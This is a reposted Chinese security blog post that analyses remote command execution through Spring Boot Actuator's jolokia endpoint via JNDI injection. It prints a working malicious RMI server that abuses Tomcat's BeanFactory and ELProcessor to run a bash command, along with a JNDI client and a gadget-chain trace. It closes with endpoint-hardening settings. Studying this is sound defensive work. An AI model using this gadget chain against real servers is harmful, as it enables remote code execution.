转载

SpringBoot命令执行漏洞分析与PoC

最近,在内部RSS聚合中,我们发现一篇 《exploit-spring-boot-actuators》 [1]。Spring Boot是目前非常流行的应用, 通过爱奇艺云扫描平台[2], 可定位内部多个正在使用Actuator的服务。

跟进分析后,我们发现这个漏洞是通过Spring Boot Actuator的jolokia接口利用JNDI来实现的,本文介绍PoC的复现及分析。

Spring Boot Acuator

Spring Boot Acuatorr可以帮助你监控和管理Spring Boot应用,比如健康检查、审计、统计和HTTP追踪等。所有的这些特性可以通过JMX或者HTTP endpoints来获得

常用的端点有:

health 显示应用的健康状态
env 显示当前的环境特性
info 显示应用的基本信息

如果是一个Web应用, 可以使用下述endpoint

jolokia 暴露在HTTP协议上的JMX beans

详细介绍请参考 《Spring Boot官方文档》 [3]:

JNDI

JDNI是Java技术中的一个指定的API, 为Java应用来提供命名与目录功能。 Java应用程序可以使用JDNI来存储与检索任何类型的Java对象.

编写过程

通过搜集信息, 我们总共了解到 /jolokia 接口有两个类可以实现命令执行:

  1. ch.qos.logback.classic reloadByURL

  2. org.apache.catalina.mbeans.MBeanFactory

对云扫描的资产中发现, 仅存在第2个类, 但是1,2 使用的都是JDNI注入, 通过RMI/LDAP调用。于是使用ysoseria.jar 生成一个rmi接口。 测试结果在jdk 8 上并没有成功。

根据参考资料[4], 自己利用 javax.EL.Processer 类来声明了一个RMI接口, 利用参考资料[5]的POC成功复现了,但是对于JDNI注入这里,还是有点不明白, 所以自己又调试了一下,以下是过程:

分析

  1. 先写一个RMI类, 使用ResourceRef调用 javax.el.ELProcessor 类中的 eval 方法; 绑定到1097端口上, 类中函数执行一个 touch /tmp/pwd.txt 的操作

//
// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;public class EvilRMIServerNew {public EvilRMIServerNew() {}public static void main(String[] args) throws Exception {System.out.println("Creating evil RMI registry on port 1097");Registry registry = LocateRegistry.createRegistry(1097);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("newjava.lang.ProcessBuilder["(java.lang.String[])"](["/bin/bash", "-c","touch /tmp/pwd.txt"]).start()")"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Object", referenceWrapper);}

}

2. 再写一个client类, 利用JDNI的lookup来加载一下

import javax.naming.Context;
import javax.naming.InitialContext;public class JNDIClient {public static void main(String[] args) throws Exception {String uri = "rmi://localhost:1097/Object";Context ctx = new InitialContext();ctx.lookup(uri);}

}

3.  过程如下

调用 InitialContext 类中的 lookup 方法

    public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);

    }

    再调用该类中的 getURLOrDefaultInitCtx 方法, 跳到 hasInitialContextFactoryBuilder 分支,进行 getUrlContext 函数 SpringBoot命令执行漏洞分析与PoC

    该方法返回一个 getDefaultInitCtx() 结果, 我们再看该函数返回了一个Context类, 并用该类的实例进行lookup函数查询name="rmi://localhost:1097/Object"的查找

    SpringBoot命令执行漏洞分析与PoC

    接着进入了 RegistryContextlookup 函数中,并调用了该类的 decodeOjbect 函数, 因为 在我们的server中, ReferenceWrapper 类继承了接口 RemoteReference , 所以进入了第一个分支中

    SpringBoot命令执行漏洞分析与PoC

    然后获取到了远程的obj

    SpringBoot命令执行漏洞分析与PoC

    由于 注册server中 ref 类继承了 Reference , 所以我们获取到了一个ref对象, 并通过 NamingManager.getObjectInstance 来获取对象实例

    Reference ref = null;
    if (obj instanceof Reference) {ref = (Reference) obj;

    ...

    进入 NamingManager.getObjectInstance 后, 首先获取到FactoryClassName, 上图可知,该类名为 org.apache.naming.factory.BeanFactory , 然后由该工厂类的实例进入其 getObjectInstance 函数中

    if (ref != null) {
    String f = ref.getFactoryClassName();if (f != null) {// if reference identifies a factory, use exclusivelyfactory = getObjectFactoryFromReference(ref, f);if (factory != null) {return factory.getObjectInstance(ref, name, nameCtx,

    environment);

    BeanFactory.getObjectInstance 类中,部分代码如下,获取远程对象的 forceString 的值, 并以逗号来切分,再分别定位切分后的"="所在位置

    RefAddr ra = ref.get("forceString");
    Map<String, Method> forced = new HashMap();String value;String propName;int i;if (ra != null) {value = (String)ra.getContent();Class<?>[] paramTypes = new Class[]{String.class};String[] arr$ = value.split(","); //如果forceString的值有多少,就用","来切分i = arr$.length;for(int i$ = 0; i$ < i; ++i$) {String param = arr$[i$];param = param.trim();int index = param.indexOf(61); //对于切分后的每个值, 定位其中的"="if (index >= 0) {propName = param.substring(index + 1).trim();param = param.substring(0, index).trim();} else {propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);}try {forced.put(param, beanClass.getMethod(propName, paramTypes)); //forceString以=切分后的值 ,存储到HASHMAP中

    ...

    接下来就是一系列的whil(True)来获取对象的各种变量值; 最后通过 method.invoke() 如下图最终执行命令

    SpringBoot命令执行漏洞分析与PoC

    动图 SpringBoot命令执行漏洞分析与PoC

    POC

所以最终的POC为, 使用 EvilRMIServerNew 在公网上开放一个端口, 将POC中的ldap接口改为自己的所在的端口即可,  详见71SRC的github: https://github.com/71src/code_share

漏洞缓解

开启security.enable或者启用单独的endpoint

  1. 在application.properties中设置 management.security.enabled=true

  2. 如果版本不对,可以直接设置 endpoint 的启用

    endpoints.enabled = false # 默认不启用
    endpoints.env.enabled = true # 仅开启 env 这个endpoints
  3. env, configprops等会泄露服务器信息, 建议关闭端点.  如果需要启用, 使用认证

    management.port=8099
    management.security.enabled=truesecurity.user.name=adminsecurity.user.password=admin
  4. 所有版本禁止设置使用* 通配符的配置

    management.endpoints.web.exposure.include=*

参考

  1. 【Exploiting Spring Boot Actuators】: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

  2. 【爱奇艺安全攻防实践】: https://github.com/71src/iqiyi_security_conference_2018

  3. 【Spring Boot官方文档】: https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html

  4. 【Exploiting JNDI Injections in Java】: https://www.veracode.com/blog/research/exploiting-jndi-injections-java

  5. 【Attack Spring Boot Actuator via jolokia Part 2 】: https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/

作者 | jiaxiaoyan

声明:本文来自爱奇艺安全应急响应中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。

原文  https://www.secrss.com/articles/9862
正文到此结束
Loading...